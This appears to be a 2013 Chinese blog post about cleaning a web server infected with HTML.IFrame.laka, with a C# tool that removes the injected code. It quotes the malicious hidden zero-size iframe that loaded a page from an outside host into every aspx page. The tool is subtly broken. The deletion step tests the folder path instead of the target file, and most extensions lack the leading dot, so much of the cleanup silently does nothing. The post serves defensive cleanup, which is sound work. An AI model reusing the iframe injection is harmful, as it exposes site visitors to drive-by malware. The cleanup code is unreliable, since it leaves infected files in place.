• 服务器中毒 HTML.IFrame.laka


    背景:

      最近客户反应,站点部分功能无法正常使用。原来我打开看了之后,发现每个aspx页面尾部添加了这样一行代码。

    <iframe src="http://www.xinxinbaidu.com.cn/htm/mm.htm" width=0 height=0></iframe>

    而且几乎每个文件下,多了一个Desktop_1.ini。有些地方还有cool_gamesetup.exe程序存在。二话不说,赶紧装了杀毒软件进行杀毒,杀毒软件将这些中毒文件全部找到了,处理方式是直接删除文件。服务器上有大约9000+个网页类文件都被添加了该恶意代码,又不能直接删除,于是采用程序的方式,首先删除这些病毒特征,再用360全盘扫描。

    资源下载:

      源代码

    开发思路:

      遍历磁盘驱动器,递归遍历子文件夹,将子文件夹网页类文件中的错误代码移除,同时检查是否存在需要删除的文件(Desktop_1.ini和 cool_gamesetup.exe),并将其删除。在实际操作过程中发现Desktop_1.ini是只读文件,禁止被删除的,首先需要将该文件设置为可读可写,再将其删除。最后的效果则是,基本上需要的文件都没有删除。

    代码如下:

    /* ==============================================================================
       * 文 件 名:Program
       * 功能描述:
       * Copyright (c) 2013 武汉经纬视通科技有限公司
       * 创 建 人: alone
       * 创建时间: 2013/3/24 21:13:47
       * 修 改 人: 
       * 修改时间: 
       * 修改描述: 
       * 版    本: v1.0.0.0
       * ==============================================================================*/
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Text;
    
    namespace HTML_IFrame_laka文件还原
    {
        class Program
        {
            public static string[] files;//需要删除的文件
            public static string[] exts;//需要替换错误代码的文件后缀
            //错误代码
            public static string errorCode = "<iframe src=\"http://www.xinxinbaidu.com.cn/htm/mm.htm\" width=0 height=0></iframe>";
            public static string logName;//日志文件
    
            static void Main(string[] args)
            {
                //设置参数
                logName = ".//" + DateTime.Now.ToString("yyyy年MM月dd日") + ".log";
                files = new string[] { "Desktop_1.ini", "cool_gamesetup.exe" };
                exts = new string[] { ".aspx", "jsp", "html", "htm", "shtml" };
                //遍历驱动器 
                var drives = Directory.GetLogicalDrives();
                foreach (var drive in drives)
                {
                    Handle(drive);
                }
                Console.WriteLine("程序处理完毕");
            }
    
            static void Handle(string path)
            {
                Console.WriteLine("处理目录 " + path);
                //移除文件中的错误代码
                var files = Directory.GetFiles(path);
                foreach (var file in files)
                {
                    var currExt = Path.GetExtension(file);
                    foreach (var ext in Program.exts)
                    {
                        if (ext == currExt)
                        {
                            try
                            {
                                //获取该文件的编码 用该编码进行文件读写
                                var encode = TxtFileEncoding.GetEncoding(file);
                                var content = File.ReadAllText(file, encode);
                                if (content.Contains(errorCode))
                                {
                                    content = content.Replace(errorCode, string.Empty);
                                    File.WriteAllText(file, content, encode);
                                    Console.WriteLine("修改成功 文件编码:{0} 文件路径:{1}", encode.BodyName, file);
                                }
                            }
                            catch (Exception e)
                            {
                                Console.WriteLine("修改失败 {0}  {1}", file, e.Message);
                                Write(e.Message);
                            }
                        }
                    }
                }
                //删除指定文件
                foreach (var file in Program.files)
                {
                    var deleteFile = Path.Combine(path, file);
                    if (File.Exists(path))
                    {
                        FileInfo flDeleteFile = new FileInfo(Path.Combine(path, file));
                        flDeleteFile.IsReadOnly = false;
                        flDeleteFile.Attributes = FileAttributes.Normal;
                        flDeleteFile.Delete();
                        Console.WriteLine("删除{0}成功", file);
                    }
                }
                //递归文件夹
                var dirs = Directory.GetDirectories(path);
                foreach (var dir in dirs)
                {
                    try
                    {
                        Handle(dir);
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine("目录处理失败 {0}", dir);
                        Write(e.Message);
                    }
                }
            }
    
            static void Write(string msg)
            {
                var content = new StringBuilder();
                content.AppendLine("【记录时间】" + DateTime.Now.ToString());
                content.AppendLine("【错误信息】" + msg);
                File.AppendAllText(logName, content.ToString() + Environment.NewLine);
            }
        }
    }

    更新:

      1.读取文件的编码,使用该编码进行读写,避免乱码。(2013-03-25)

      希望能帮到那些在服务器上遇到同样问题的人。

  • 相关阅读:
    [转]MVP+WCF+三层结构搭建项目框架
    PowerDesigner之PDM(物理概念模型)
    atoi 和 itoa
    最短作业优先(SJF)
    TCP 三次握手过程详解
    TCP/UDP,SOCKET,HTTP,FTP 简析
    计算机的OSI和TCP/IP网络模型
    理解数据成员指针、函数成员指针
    虚函数底层原理
    C++多态有哪几种方式?
  • 原文地址:https://www.cnblogs.com/codealone/p/2979696.html
Copyright © 2020-2023  润新知